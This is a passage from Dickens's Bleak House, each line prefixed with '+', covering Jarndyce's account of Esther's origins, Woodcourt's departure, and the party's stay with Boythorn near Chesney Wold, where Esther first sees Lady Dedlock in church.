+Almost frightened by coming upon him so unexpectedly, I stood still
+for a moment and should have retired without speaking had he not, in
+again passing his hand abstractedly through his hair, seen me and
+started.
+
+"Esther!"
+
+I told him what I had come for.
+
+"At work so late, my dear?"
+
+"I am working late to-night," said I, "because I couldn't sleep and
+wished to tire myself. But, dear guardian, you are late too, and look
+weary. You have no trouble, I hope, to keep you waking?"
+
+"None, little woman, that YOU would readily understand," said he.
+
+He spoke in a regretful tone so new to me that I inwardly repeated,
+as if that would help me to his meaning, "That I could readily
+understand!"
+
+"Remain a moment, Esther," said he, "You were in my thoughts."
+
+"I hope I was not the trouble, guardian?"
+
+He slightly waved his hand and fell into his usual manner. The change
+was so remarkable, and he appeared to make it by dint of so much
+self-command, that I found myself again inwardly repeating, "None
+that I could understand!"
+
+"Little woman," said my guardian, "I was thinking--that is, I have
+been thinking since I have been sitting here--that you ought to know
+of your own history all I know. It is very little. Next to nothing."
+
+"Dear guardian," I replied, "when you spoke to me before on that
+subject--"
+
+"But since then," he gravely interposed, anticipating what I meant to
+say, "I have reflected that your having anything to ask me, and my
+having anything to tell you, are different considerations, Esther. It
+is perhaps my duty to impart to you the little I know."
+
+"If you think so, guardian, it is right."
+
+"I think so," he returned very gently, and kindly, and very
+distinctly. "My dear, I think so now. If any real disadvantage can
+attach to your position in the mind of any man or woman worth a
+thought, it is right that you at least of all the world should not
+magnify it to yourself by having vague impressions of its nature."
+
+I sat down and said after a little effort to be as calm as I ought to
+be, "One of my earliest remembrances, guardian, is of these words:
+'Your mother, Esther, is your disgrace, and you were hers. The time
+will come, and soon enough, when you will understand this better, and
+will feel it too, as no one save a woman can.'" I had covered my face
+with my hands in repeating the words, but I took them away now with a
+better kind of shame, I hope, and told him that to him I owed the
+blessing that I had from my childhood to that hour never, never,
+never felt it. He put up his hand as if to stop me. I well knew that
+he was never to be thanked, and said no more.
+
+"Nine years, my dear," he said after thinking for a little while,
+"have passed since I received a letter from a lady living in
+seclusion, written with a stern passion and power that rendered it
+unlike all other letters I have ever read. It was written to me (as
+it told me in so many words), perhaps because it was the writer's
+idiosyncrasy to put that trust in me, perhaps because it was mine to
+justify it. It told me of a child, an orphan girl then twelve years
+old, in some such cruel words as those which live in your
+remembrance. It told me that the writer had bred her in secrecy from
+her birth, had blotted out all trace of her existence, and that if
+the writer were to die before the child became a woman, she would be
+left entirely friendless, nameless, and unknown. It asked me to
+consider if I would, in that case, finish what the writer had begun."
+
+I listened in silence and looked attentively at him.
+
+"Your early recollection, my dear, will supply the gloomy medium
+through which all this was seen and expressed by the writer, and the
+distorted religion which clouded her mind with impressions of the
+need there was for the child to expiate an offence of which she was
+quite innocent. I felt concerned for the little creature, in her
+darkened life, and replied to the letter."
+
+I took his hand and kissed it.
+
+"It laid the injunction on me that I should never propose to see the
+writer, who had long been estranged from all intercourse with the
+world, but who would see a confidential agent if I would appoint one.
+I accredited Mr. Kenge. The lady said, of her own accord and not of
+his seeking, that her name was an assumed one. That she was, if there
+were any ties of blood in such a case, the child's aunt. That more
+than this she would never (and he was well persuaded of the
+steadfastness of her resolution) for any human consideration
+disclose. My dear, I have told you all."
+
+I held his hand for a little while in mine.
+
+"I saw my ward oftener than she saw me," he added, cheerily making
+light of it, "and I always knew she was beloved, useful, and happy.
+She repays me twenty-thousandfold, and twenty more to that, every
+hour in every day!"
+
+"And oftener still," said I, "she blesses the guardian who is a
+father to her!"
+
+At the word father, I saw his former trouble come into his face. He
+subdued it as before, and it was gone in an instant; but it had been
+there and it had come so swiftly upon my words that I felt as if they
+had given him a shock. I again inwardly repeated, wondering, "That I
+could readily understand. None that I could readily understand!" No,
+it was true. I did not understand it. Not for many and many a day.
+
+"Take a fatherly good night, my dear," said he, kissing me on the
+forehead, "and so to rest. These are late hours for working and
+thinking. You do that for all of us, all day long, little
+housekeeper!"
+
+I neither worked nor thought any more that night. I opened my
+grateful heart to heaven in thankfulness for its providence to me and
+its care of me, and fell asleep.
+
+We had a visitor next day. Mr. Allan Woodcourt came. He came to take
+leave of us; he had settled to do so beforehand. He was going to
+China and to India as a surgeon on board ship. He was to be away a
+long, long time.
+
+I believe--at least I know--that he was not rich. All his widowed
+mother could spare had been spent in qualifying him for his
+profession. It was not lucrative to a young practitioner, with very
+little influence in London; and although he was, night and day, at
+the service of numbers of poor people and did wonders of gentleness
+and skill for them, he gained very little by it in money. He was
+seven years older than I. Not that I need mention it, for it hardly
+seems to belong to anything.
+
+I think--I mean, he told us--that he had been in practice three or
+four years and that if he could have hoped to contend through three
+or four more, he would not have made the voyage on which he was
+bound. But he had no fortune or private means, and so he was going
+away. He had been to see us several times altogether. We thought it a
+pity he should go away. Because he was distinguished in his art among
+those who knew it best, and some of the greatest men belonging to it
+had a high opinion of him.
+
+When he came to bid us good-bye, he brought his mother with him for
+the first time. She was a pretty old lady, with bright black eyes,
+but she seemed proud. She came from Wales and had had, a long time
+ago, an eminent person for an ancestor, of the name of Morgan
+ap-Kerrig--of some place that sounded like Gimlet--who was the most
+illustrious person that ever was known and all of whose relations
+were a sort of royal family. He appeared to have passed his life
+in always getting up into mountains and fighting somebody; and
+a bard whose name sounded like Crumlinwallinwer had sung his
+praises in a piece which was called, as nearly as I could catch it,
+Mewlinnwillinwodd.
+
+Mrs. Woodcourt, after expatiating to us on the fame of her great
+kinsman, said that no doubt wherever her son Allan went he would
+remember his pedigree and would on no account form an alliance below
+it. She told him that there were many handsome English ladies in
+India who went out on speculation, and that there were some to be
+picked up with property, but that neither charms nor wealth would
+suffice for the descendant from such a line without birth, which must
+ever be the first consideration. She talked so much about birth that
+for a moment I half fancied, and with pain--But what an idle fancy to
+suppose that she could think or care what MINE was!
+
+Mr. Woodcourt seemed a little distressed by her prolixity, but he was
+too considerate to let her see it and contrived delicately to bring
+the conversation round to making his acknowledgments to my guardian
+for his hospitality and for the very happy hours--he called them the
+very happy hours--he had passed with us. The recollection of them, he
+said, would go with him wherever he went and would be always
+treasured. And so we gave him our hands, one after another--at least,
+they did--and I did; and so he put his lips to Ada's hand--and to
+mine; and so he went away upon his long, long voyage!
+
+I was very busy indeed all day and wrote directions home to the
+servants, and wrote notes for my guardian, and dusted his books and
+papers, and jingled my housekeeping keys a good deal, one way and
+another. I was still busy between the lights, singing and working by
+the window, when who should come in but Caddy, whom I had no
+expectation of seeing!
+
+"Why, Caddy, my dear," said I, "what beautiful flowers!"
+
+She had such an exquisite little nosegay in her hand.
+
+"Indeed, I think so, Esther," replied Caddy. "They are the loveliest
+I ever saw."
+
+"Prince, my dear?" said I in a whisper.
+
+"No," answered Caddy, shaking her head and holding them to me to
+smell. "Not Prince."
+
+"Well, to be sure, Caddy!" said I. "You must have two lovers!"
+
+"What? Do they look like that sort of thing?" said Caddy.
+
+"Do they look like that sort of thing?" I repeated, pinching her
+cheek.
+
+Caddy only laughed in return, and telling me that she had come for
+half an hour, at the expiration of which time Prince would be waiting
+for her at the corner, sat chatting with me and Ada in the window,
+every now and then handing me the flowers again or trying how they
+looked against my hair. At last, when she was going, she took me into
+my room and put them in my dress.
+
+"For me?" said I, surprised.
+
+"For you," said Caddy with a kiss. "They were left behind by
+somebody."
+
+"Left behind?"
+
+"At poor Miss Flite's," said Caddy. "Somebody who has been very good
+to her was hurrying away an hour ago to join a ship and left these
+flowers behind. No, no! Don't take them out. Let the pretty little
+things lie here," said Caddy, adjusting them with a careful hand,
+"because I was present myself, and I shouldn't wonder if somebody
+left them on purpose!"
+
+"Do they look like that sort of thing?" said Ada, coming laughingly
+behind me and clasping me merrily round the waist. "Oh, yes, indeed
+they do, Dame Durden! They look very, very like that sort of thing.
+Oh, very like it indeed, my dear!"
+
+
+
+
+CHAPTER XVIII
+
+Lady Dedlock
+
+
+It was not so easy as it had appeared at first to arrange for
+Richard's making a trial of Mr. Kenge's office. Richard himself was
+the chief impediment. As soon as he had it in his power to leave Mr.
+Badger at any moment, he began to doubt whether he wanted to leave
+him at all. He didn't know, he said, really. It wasn't a bad
+profession; he couldn't assert that he disliked it; perhaps he liked
+it as well as he liked any other--suppose he gave it one more chance!
+Upon that, he shut himself up for a few weeks with some books and
+some bones and seemed to acquire a considerable fund of information
+with great rapidity. His fervour, after lasting about a month, began
+to cool, and when it was quite cooled, began to grow warm again. His
+vacillations between law and medicine lasted so long that midsummer
+arrived before he finally separated from Mr. Badger and entered on an
+experimental course of Messrs. Kenge and Carboy. For all his
+waywardness, he took great credit to himself as being determined to
+be in earnest "this time." And he was so good-natured throughout, and
+in such high spirits, and so fond of Ada, that it was very difficult
+indeed to be otherwise than pleased with him.
+
+"As to Mr. Jarndyce," who, I may mention, found the wind much given,
+during this period, to stick in the east; "As to Mr. Jarndyce,"
+Richard would say to me, "he is the finest fellow in the world,
+Esther! I must be particularly careful, if it were only for his
+satisfaction, to take myself well to task and have a regular wind-up
+of this business now."
+
+The idea of his taking himself well to task, with that laughing face
+and heedless manner and with a fancy that everything could catch and
+nothing could hold, was ludicrously anomalous. However, he told us
+between-whiles that he was doing it to such an extent that he
+wondered his hair didn't turn grey. His regular wind-up of the
+business was (as I have said) that he went to Mr. Kenge's about
+midsummer to try how he liked it.
+
+All this time he was, in money affairs, what I have described him in
+a former illustration--generous, profuse, wildly careless, but fully
+persuaded that he was rather calculating and prudent. I happened to
+say to Ada, in his presence, half jestingly, half seriously, about
+the time of his going to Mr. Kenge's, that he needed to have
+Fortunatus' purse, he made so light of money, which he answered in
+this way, "My jewel of a dear cousin, you hear this old woman! Why
+does she say that? Because I gave eight pounds odd (or whatever it
+was) for a certain neat waistcoat and buttons a few days ago. Now, if
+I had stayed at Badger's I should have been obliged to spend twelve
+pounds at a blow for some heart-breaking lecture-fees. So I make four
+pounds--in a lump--by the transaction!"
+
+It was a question much discussed between him and my guardian what
+arrangements should be made for his living in London while he
+experimented on the law, for we had long since gone back to Bleak
+House, and it was too far off to admit of his coming there oftener
+than once a week. My guardian told me that if Richard were to settle
+down at Mr. Kenge's he would take some apartments or chambers where
+we too could occasionally stay for a few days at a time; "but, little
+woman," he added, rubbing his head very significantly, "he hasn't
+settled down there yet!" The discussions ended in our hiring for him,
+by the month, a neat little furnished lodging in a quiet old house
+near Queen Square. He immediately began to spend all the money he had
+in buying the oddest little ornaments and luxuries for this lodging;
+and so often as Ada and I dissuaded him from making any purchase that
+he had in contemplation which was particularly unnecessary and
+expensive, he took credit for what it would have cost and made out
+that to spend anything less on something else was to save the
+difference.
+
+While these affairs were in abeyance, our visit to Mr. Boythorn's was
+postponed. At length, Richard having taken possession of his lodging,
+there was nothing to prevent our departure. He could have gone with
+us at that time of the year very well, but he was in the full novelty
+of his new position and was making most energetic attempts to unravel
+the mysteries of the fatal suit. Consequently we went without him,
+and my darling was delighted to praise him for being so busy.
+
+We made a pleasant journey down into Lincolnshire by the coach and
+had an entertaining companion in Mr. Skimpole. His furniture had been
+all cleared off, it appeared, by the person who took possession of it
+on his blue-eyed daughter's birthday, but he seemed quite relieved to
+think that it was gone. Chairs and table, he said, were wearisome
+objects; they were monotonous ideas, they had no variety of
+expression, they looked you out of countenance, and you looked them
+out of countenance. How pleasant, then, to be bound to no particular
+chairs and tables, but to sport like a butterfly among all the
+furniture on hire, and to flit from rosewood to mahogany, and from
+mahogany to walnut, and from this shape to that, as the humour took
+one!
+
+"The oddity of the thing is," said Mr. Skimpole with a quickened
+sense of the ludicrous, "that my chairs and tables were not paid for,
+and yet my landlord walks off with them as composedly as possible.
+Now, that seems droll! There is something grotesque in it. The chair
+and table merchant never engaged to pay my landlord my rent. Why
+should my landlord quarrel with HIM? If I have a pimple on my nose
+which is disagreeable to my landlord's peculiar ideas of beauty, my
+landlord has no business to scratch my chair and table merchant's
+nose, which has no pimple on it. His reasoning seems defective!"
+
+"Well," said my guardian good-humouredly, "it's pretty clear that
+whoever became security for those chairs and tables will have to pay
+for them."
+
+"Exactly!" returned Mr. Skimpole. "That's the crowning point of
+unreason in the business! I said to my landlord, 'My good man, you
+are not aware that my excellent friend Jarndyce will have to pay for
+those things that you are sweeping off in that indelicate manner.
+Have you no consideration for HIS property?' He hadn't the least."
+
+"And refused all proposals," said my guardian.
+
+"Refused all proposals," returned Mr. Skimpole. "I made him business
+proposals. I had him into my room. I said, 'You are a man of
+business, I believe?' He replied, 'I am,' 'Very well,' said I, 'now
+let us be business-like. Here is an inkstand, here are pens and
+paper, here are wafers. What do you want? I have occupied your house
+for a considerable period, I believe to our mutual satisfaction until
+this unpleasant misunderstanding arose; let us be at once friendly
+and business-like. What do you want?' In reply to this, he made use
+of the figurative expression--which has something Eastern about
+it--that he had never seen the colour of my money. 'My amiable
+friend,' said I, 'I never have any money. I never know anything about
+money.' 'Well, sir,' said he, 'what do you offer if I give you time?'
+'My good fellow,' said I, 'I have no idea of time; but you say you
+are a man of business, and whatever you can suggest to be done in a
+business-like way with pen, and ink, and paper--and wafers--I am
+ready to do. Don't pay yourself at another man's expense (which is
+foolish), but be business-like!' However, he wouldn't be, and there
+was an end of it."
+
+If these were some of the inconveniences of Mr. Skimpole's childhood,
+it assuredly possessed its advantages too. On the journey he had a
+very good appetite for such refreshment as came in our way (including
+a basket of choice hothouse peaches), but never thought of paying for
+anything. So when the coachman came round for his fee, he pleasantly
+asked him what he considered a very good fee indeed, now--a liberal
+one--and on his replying half a crown for a single passenger, said it
+was little enough too, all things considered, and left Mr. Jarndyce
+to give it him.
+
+It was delightful weather. The green corn waved so beautifully, the
+larks sang so joyfully, the hedges were so full of wild flowers, the
+trees were so thickly out in leaf, the bean-fields, with a light wind
+blowing over them, filled the air with such a delicious fragrance!
+Late in the afternoon we came to the market-town where we were to
+alight from the coach--a dull little town with a church-spire, and a
+marketplace, and a market-cross, and one intensely sunny street, and
+a pond with an old horse cooling his legs in it, and a very few men
+sleepily lying and standing about in narrow little bits of shade.
+After the rustling of the leaves and the waving of the corn all along
+the road, it looked as still, as hot, as motionless a little town as
+England could produce.
+
+At the inn we found Mr. Boythorn on horseback, waiting with an open
+carriage to take us to his house, which was a few miles off. He was
+overjoyed to see us and dismounted with great alacrity.
+
+"By heaven!" said he after giving us a courteous greeting. "This a
+most infamous coach. It is the most flagrant example of an abominable
+public vehicle that ever encumbered the face of the earth. It is
+twenty-five minutes after its time this afternoon. The coachman ought
+to be put to death!"
+
+"IS he after his time?" said Mr. Skimpole, to whom he happened to
+address himself. "You know my infirmity."
+
+"Twenty-five minutes! Twenty-six minutes!" replied Mr. Boythorn,
+referring to his watch. "With two ladies in the coach, this scoundrel
+has deliberately delayed his arrival six and twenty minutes.
+Deliberately! It is impossible that it can be accidental! But his
+father--and his uncle--were the most profligate coachmen that ever
+sat upon a box."
+
+While he said this in tones of the greatest indignation, he handed us
+into the little phaeton with the utmost gentleness and was all smiles
+and pleasure.
+
+"I am sorry, ladies," he said, standing bare-headed at the
+carriage-door when all was ready, "that I am obliged to conduct you
+nearly two miles out of the way. But our direct road lies through Sir
+Leicester Dedlock's park, and in that fellow's property I have sworn
+never to set foot of mine, or horse's foot of mine, pending the
+present relations between us, while I breathe the breath of life!"
+And here, catching my guardian's eye, he broke into one of his
+tremendous laughs, which seemed to shake even the motionless little
+market-town.
+
+"Are the Dedlocks down here, Lawrence?" said my guardian as we drove
+along and Mr. Boythorn trotted on the green turf by the roadside.
+
+"Sir Arrogant Numskull is here," replied Mr. Boythorn. "Ha ha ha! Sir
+Arrogant is here, and I am glad to say, has been laid by the heels
+here. My Lady," in naming whom he always made a courtly gesture as if
+particularly to exclude her from any part in the quarrel, "is
+expected, I believe, daily. I am not in the least surprised that she
+postpones her appearance as long as possible. Whatever can have
+induced that transcendent woman to marry that effigy and figure-head
+of a baronet is one of the most impenetrable mysteries that ever
+baffled human inquiry. Ha ha ha ha!"
+
+"I suppose," said my guardian, laughing, "WE may set foot in the park
+while we are here? The prohibition does not extend to us, does it?"
+
+"I can lay no prohibition on my guests," he said, bending his head to
+Ada and me with the smiling politeness which sat so gracefully upon
+him, "except in the matter of their departure. I am only sorry that I
+cannot have the happiness of being their escort about Chesney Wold,
+which is a very fine place! But by the light of this summer day,
+Jarndyce, if you call upon the owner while you stay with me, you are
+likely to have but a cool reception. He carries himself like an
+eight-day clock at all times, like one of a race of eight-day clocks
+in gorgeous cases that never go and never went--Ha ha ha!--but he
+will have some extra stiffness, I can promise you, for the friends of
+his friend and neighbour Boythorn!"
+
+"I shall not put him to the proof," said my guardian. "He is as
+indifferent to the honour of knowing me, I dare say, as I am to the
+honour of knowing him. The air of the grounds and perhaps such a view
+of the house as any other sightseer might get are quite enough for
+me."
+
+"Well!" said Mr. Boythorn. "I am glad of it on the whole. It's in
+better keeping. I am looked upon about here as a second Ajax defying
+the lightning. Ha ha ha ha! When I go into our little church on a
+Sunday, a considerable part of the inconsiderable congregation expect
+to see me drop, scorched and withered, on the pavement under the
+Dedlock displeasure. Ha ha ha ha! I have no doubt he is surprised
+that I don't. For he is, by heaven, the most self-satisfied, and the
+shallowest, and the most coxcombical and utterly brainless ass!"
+
+Our coming to the ridge of a hill we had been ascending enabled our
+friend to point out Chesney Wold itself to us and diverted his
+attention from its master.
+
+It was a picturesque old house in a fine park richly wooded. Among
+the trees and not far from the residence he pointed out the spire of
+the little church of which he had spoken. Oh, the solemn woods over
+which the light and shadow travelled swiftly, as if heavenly wings
+were sweeping on benignant errands through the summer air; the smooth
+green slopes, the glittering water, the garden where the flowers were
+so symmetrically arranged in clusters of the richest colours, how
+beautiful they looked! The house, with gable and chimney, and tower,
+and turret, and dark doorway, and broad terrace-walk, twining among
+the balustrades of which, and lying heaped upon the vases, there was
+one great flush of roses, seemed scarcely real in its light solidity
+and in the serene and peaceful hush that rested on all around it. To
+Ada and to me, that above all appeared the pervading influence. On
+everything, house, garden, terrace, green slopes, water, old oaks,
+fern, moss, woods again, and far away across the openings in the
+prospect to the distance lying wide before us with a purple bloom
+upon it, there seemed to be such undisturbed repose.
+
+When we came into the little village and passed a small inn with the
+sign of the Dedlock Arms swinging over the road in front, Mr.
+Boythorn interchanged greetings with a young gentleman sitting on a
+bench outside the inn-door who had some fishing-tackle lying beside
+him.
+
+"That's the housekeeper's grandson, Mr. Rouncewell by name," said,
+he, "and he is in love with a pretty girl up at the house. Lady
+Dedlock has taken a fancy to the pretty girl and is going to keep her
+about her own fair person--an honour which my young friend himself
+does not at all appreciate. However, he can't marry just yet, even if
+his Rosebud were willing; so he is fain to make the best of it. In
+the meanwhile, he comes here pretty often for a day or two at a time
+to--fish. Ha ha ha ha!"
+
+"Are he and the pretty girl engaged, Mr. Boythorn?" asked Ada.
+
+"Why, my dear Miss Clare," he returned, "I think they may perhaps
+understand each other; but you will see them soon, I dare say, and I
+must learn from you on such a point--not you from me."
+
+Ada blushed, and Mr. Boythorn, trotting forward on his comely grey
+horse, dismounted at his own door and stood ready with extended arm
+and uncovered head to welcome us when we arrived.
+
+He lived in a pretty house, formerly the parsonage house, with a lawn
+in front, a bright flower-garden at the side, and a well-stocked
+orchard and kitchen-garden in the rear, enclosed with a venerable
+wall that had of itself a ripened ruddy look. But, indeed, everything
+about the place wore an aspect of maturity and abundance. The old
+lime-tree walk was like green cloisters, the very shadows of the
+cherry-trees and apple-trees were heavy with fruit, the
+gooseberry-bushes were so laden that their branches arched and rested
+on the earth, the strawberries and raspberries grew in like
+profusion, and the peaches basked by the hundred on the wall. Tumbled
+about among the spread nets and the glass frames sparkling and
+winking in the sun there were such heaps of drooping pods, and
+marrows, and cucumbers, that every foot of ground appeared a
+vegetable treasury, while the smell of sweet herbs and all kinds of
+wholesome growth (to say nothing of the neighbouring meadows where
+the hay was carrying) made the whole air a great nosegay. Such
+stillness and composure reigned within the orderly precincts of the
+old red wall that even the feathers hung in garlands to scare the
+birds hardly stirred; and the wall had such a ripening influence that
+where, here and there high up, a disused nail and scrap of list still
+clung to it, it was easy to fancy that they had mellowed with the
+changing seasons and that they had rusted and decayed according to
+the common fate.
+
+The house, though a little disorderly in comparison with the garden,
+was a real old house with settles in the chimney of the brick-floored
+kitchen and great beams across the ceilings. On one side of it was
+the terrible piece of ground in dispute, where Mr. Boythorn
+maintained a sentry in a smock-frock day and night, whose duty was
+supposed to be, in cases of aggression, immediately to ring a large
+bell hung up there for the purpose, to unchain a great bull-dog
+established in a kennel as his ally, and generally to deal
+destruction on the enemy. Not content with these precautions, Mr.
+Boythorn had himself composed and posted there, on painted boards to
+which his name was attached in large letters, the following solemn
+warnings: "Beware of the bull-dog. He is most ferocious. Lawrence
+Boythorn." "The blunderbus is loaded with slugs. Lawrence Boythorn."
+"Man-traps and spring-guns are set here at all times of the day and
+night. Lawrence Boythorn." "Take notice. That any person or persons
+audaciously presuming to trespass on this property will be punished
+with the utmost severity of private chastisement and prosecuted with
+the utmost rigour of the law. Lawrence Boythorn." These he showed us
+from the drawing-room window, while his bird was hopping about his
+head, and he laughed, "Ha ha ha ha! Ha ha ha ha!" to that extent as
+he pointed them out that I really thought he would have hurt himself.
+
+"But this is taking a good deal of trouble," said Mr. Skimpole in his
+light way, "when you are not in earnest after all."
+
+"Not in earnest!" returned Mr. Boythorn with unspeakable warmth. "Not
+in earnest! If I could have hoped to train him, I would have bought a
+lion instead of that dog and would have turned him loose upon the
+first intolerable robber who should dare to make an encroachment on
+my rights. Let Sir Leicester Dedlock consent to come out and decide
+this question by single combat, and I will meet him with any weapon
+known to mankind in any age or country. I am that much in earnest.
+Not more!"
+
+We arrived at his house on a Saturday. On the Sunday morning we all
+set forth to walk to the little church in the park. Entering the
+park, almost immediately by the disputed ground, we pursued a
+pleasant footpath winding among the verdant turf and the beautiful
+trees until it brought us to the church-porch.
+
+The congregation was extremely small and quite a rustic one with the
+exception of a large muster of servants from the house, some of whom
+were already in their seats, while others were yet dropping in. There
+were some stately footmen, and there was a perfect picture of an old
+coachman, who looked as if he were the official representative of all
+the pomps and vanities that had ever been put into his coach. There
+was a very pretty show of young women, and above them, the handsome
+old face and fine responsible portly figure of the housekeeper
+towered pre-eminent. The pretty girl of whom Mr. Boythorn had told us
+was close by her. She was so very pretty that I might have known her
+by her beauty even if I had not seen how blushingly conscious she was
+of the eyes of the young fisherman, whom I discovered not far off.
+One face, and not an agreeable one, though it was handsome, seemed
+maliciously watchful of this pretty girl, and indeed of every one and
+everything there. It was a Frenchwoman's.
+
+As the bell was yet ringing and the great people were not yet come, I
+had leisure to glance over the church, which smelt as earthy as a
+grave, and to think what a shady, ancient, solemn little church it
+was. The windows, heavily shaded by trees, admitted a subdued light
+that made the faces around me pale, and darkened the old brasses in
+the pavement and the time and damp-worn monuments, and rendered the
+sunshine in the little porch, where a monotonous ringer was working
+at the bell, inestimably bright. But a stir in that direction, a
+gathering of reverential awe in the rustic faces, and a blandly
+ferocious assumption on the part of Mr. Boythorn of being resolutely
+unconscious of somebody's existence forewarned me that the great
+people were come and that the service was going to begin.
+
+"'Enter not into judgment with thy servant, O Lord, for in thy
+sight--'"
+
+Shall I ever forget the rapid beating at my heart, occasioned by the
+look I met as I stood up! Shall I ever forget the manner in which
+those handsome proud eyes seemed to spring out of their languor and
+to hold mine! It was only a moment before I cast mine down--released
+again, if I may say so--on my book; but I knew the beautiful face
+quite well in that short space of time.
+
+And, very strangely, there was something quickened within me,
+associated with the lonely days at my godmother's; yes, away even to
+the days when I had stood on tiptoe to dress myself at my little
+glass after dressing my doll. And this, although I had never seen
+this lady's face before in all my life--I was quite sure of
+it--absolutely certain.
+
+It was easy to know that the ceremonious, gouty, grey-haired
+gentleman, the only other occupant of the great pew, was Sir
+Leicester Dedlock, and that the lady was Lady Dedlock. But why her
+face should be, in a confused way, like a broken glass to me, in
+which I saw scraps of old remembrances, and why I should be so
+fluttered and troubled (for I was still) by having casually met her
+eyes, I could not think.
+
+I felt it to be an unmeaning weakness in me and tried to overcome it
+by attending to the words I heard. Then, very strangely, I seemed to
+hear them, not in the reader's voice, but in the well-remembered
+voice of my godmother. This made me think, did Lady Dedlock's face
+accidentally resemble my godmother's? It might be that it did, a
+little; but the expression was so different, and the stern decision
+which had worn into my godmother's face, like weather into rocks, was
+so completely wanting in the face before me that it could not be that
+resemblance which had struck me. Neither did I know the loftiness and
+haughtiness of Lady Dedlock's face, at all, in any one. And yet I--I,
+little Esther Summerson, the child who lived a life apart and on
+whose birthday there was no rejoicing--seemed to arise before my own
+eyes, evoked out of the past by some power in this fashionable lady,
+whom I not only entertained no fancy that I had ever seen, but whom I
+perfectly well knew I had never seen until that hour.
+
+It made me tremble so to be thrown into this unaccountable agitation
+that I was conscious of being distressed even by the observation of
+the French maid, though I knew she had been looking watchfully here,
+and there, and everywhere, from the moment of her coming into the
+church. By degrees, though very slowly, I at last overcame my strange
+emotion. After a long time, I looked towards Lady Dedlock again. It
+was while they were preparing to sing, before the sermon. She took no
+heed of me, and the beating at my heart was gone. Neither did it
+revive for more than a few moments when she once or twice afterwards
+glanced at Ada or at me through her glass.
+
+The service being concluded, Sir Leicester gave his arm with much
+taste and gallantry to Lady Dedlock--though he was obliged to walk by
+the help of a thick stick--and escorted her out of church to the pony
+carriage in which they had come. The servants then dispersed, and so
+did the congregation, whom Sir Leicester had contemplated all along
+(Mr. Skimpole said to Mr. Boythorn's infinite delight) as if he were
+a considerable landed proprietor in heaven.
+
+"He believes he is!" said Mr. Boythorn. "He firmly believes it. So
+did his father, and his grandfather, and his great-grandfather!"
+
+"Do you know," pursued Mr. Skimpole very unexpectedly to Mr.
+Boythorn, "it's agreeable to me to see a man of that sort."
+
+"IS it!" said Mr. Boythorn.
+
+"Say that he wants to patronize me," pursued Mr. Skimpole. "Very
+well! I don't object."
+
+"I do," said Mr. Boythorn with great vigour.
+
+"Do you really?" returned Mr. Skimpole in his easy light vein. "But
+that's taking trouble, surely. And why should you take trouble? Here
+am I, content to receive things childishly as they fall out, and I
+never take trouble! I come down here, for instance, and I find a
+mighty potentate exacting homage. Very well! I say 'Mighty potentate,
+here IS my homage! It's easier to give it than to withhold it. Here
+it is. If you have anything of an agreeable nature to show me, I
+shall be happy to see it; if you have anything of an agreeable nature
+to give me, I shall be happy to accept it.' Mighty potentate replies
+in effect, 'This is a sensible fellow. I find him accord with my
+digestion and my bilious system. He doesn't impose upon me the
+necessity of rolling myself up like a hedgehog with my points
+outward. I expand, I open, I turn my silver lining outward like
+Milton's cloud, and it's more agreeable to both of us.' That's my
+view of such things, speaking as a child!"
+
+"But suppose you went down somewhere else to-morrow," said Mr.
+Boythorn, "where there was the opposite of that fellow--or of this
+fellow. How then?"
+
+"How then?" said Mr. Skimpole with an appearance of the utmost
+simplicity and candour. "Just the same then! I should say, 'My
+esteemed Boythorn'--to make you the personification of our imaginary
+friend--'my esteemed Boythorn, you object to the mighty potentate?
+Very good. So do I. I take it that my business in the social system
+is to be agreeable; I take it that everybody's business in the social
+system is to be agreeable. It's a system of harmony, in short.
+Therefore if you object, I object. Now, excellent Boythorn, let us go
+to dinner!'"
+
+"But excellent Boythorn might say," returned our host, swelling and
+growing very red, "I'll be--"
+
+"I understand," said Mr. Skimpole. "Very likely he would."
+
+"--if I WILL go to dinner!" cried Mr. Boythorn in a violent burst and
+stopping to strike his stick upon the ground. "And he would probably
+add, 'Is there such a thing as principle, Mr. Harold Skimpole?'"
+
+"To which Harold Skimpole would reply, you know," he returned in his
+gayest manner and with his most ingenuous smile, "'Upon my life I
+have not the least idea! I don't know what it is you call by that
+name, or where it is, or who possesses it. If you possess it and find
+it comfortable, I am quite delighted and congratulate you heartily.
+But I know nothing about it, I assure you; for I am a mere child, and
+I lay no claim to it, and I don't want it!' So, you see, excellent
+Boythorn and I would go to dinner after all!"
+
+This was one of many little dialogues between them which I always
+expected to end, and which I dare say would have ended under other
+circumstances, in some violent explosion on the part of our host. But
+he had so high a sense of his hospitable and responsible position as
+our entertainer, and my guardian laughed so sincerely at and with Mr.
+Skimpole, as a child who blew bubbles and broke them all day long,
+that matters never went beyond this point. Mr. Skimpole, who always
+seemed quite unconscious of having been on delicate ground, then
+betook himself to beginning some sketch in the park which he never
+finished, or to playing fragments of airs on the piano, or to singing
+scraps of songs, or to lying down on his back under a tree and
+looking at the sky--which he couldn't help thinking, he said, was
+what he was meant for; it suited him so exactly.
+
+"Enterprise and effort," he would say to us (on his back), "are
+delightful to me. I believe I am truly cosmopolitan. I have the
+deepest sympathy with them. I lie in a shady place like this and
+think of adventurous spirits going to the North Pole or penetrating
+to the heart of the Torrid Zone with admiration. Mercenary creatures
+ask, 'What is the use of a man's going to the North Pole? What good
+does it do?' I can't say; but, for anything I CAN say, he may go for
+the purpose--though he don't know it--of employing my thoughts as I
+lie here. Take an extreme case. Take the case of the slaves on
+American plantations. I dare say they are worked hard, I dare say
+they don't altogether like it. I dare say theirs is an unpleasant
+experience on the whole; but they people the landscape for me, they
+give it a poetry for me, and perhaps that is one of the pleasanter
+objects of their existence. I am very sensible of it, if it be, and I
+shouldn't wonder if it were!"
+
+I always wondered on these occasions whether he ever thought of Mrs.
+Skimpole and the children, and in what point of view they presented
+themselves to his cosmopolitan mind. So far as I could understand,
+they rarely presented themselves at all.
+
+The week had gone round to the Saturday following that beating of my
+heart in the church; and every day had been so bright and blue that
+to ramble in the woods, and to see the light striking down among the
+transparent leaves and sparkling in the beautiful interlacings of the
+shadows of the trees, while the birds poured out their songs and the
+air was drowsy with the hum of insects, had been most delightful. We
+had one favourite spot, deep in moss and last year's leaves, where
+there were some felled trees from which the bark was all stripped
+off. Seated among these, we looked through a green vista supported by
+thousands of natural columns, the whitened stems of trees, upon a
+distant prospect made so radiant by its contrast with the shade in
+which we sat and made so precious by the arched perspective through
+which we saw it that it was like a glimpse of the better land. Upon
+the Saturday we sat here, Mr. Jarndyce, Ada, and I, until we heard
+thunder muttering in the distance and felt the large raindrops rattle
+through the leaves.
+
+The weather had been all the week extremely sultry, but the storm
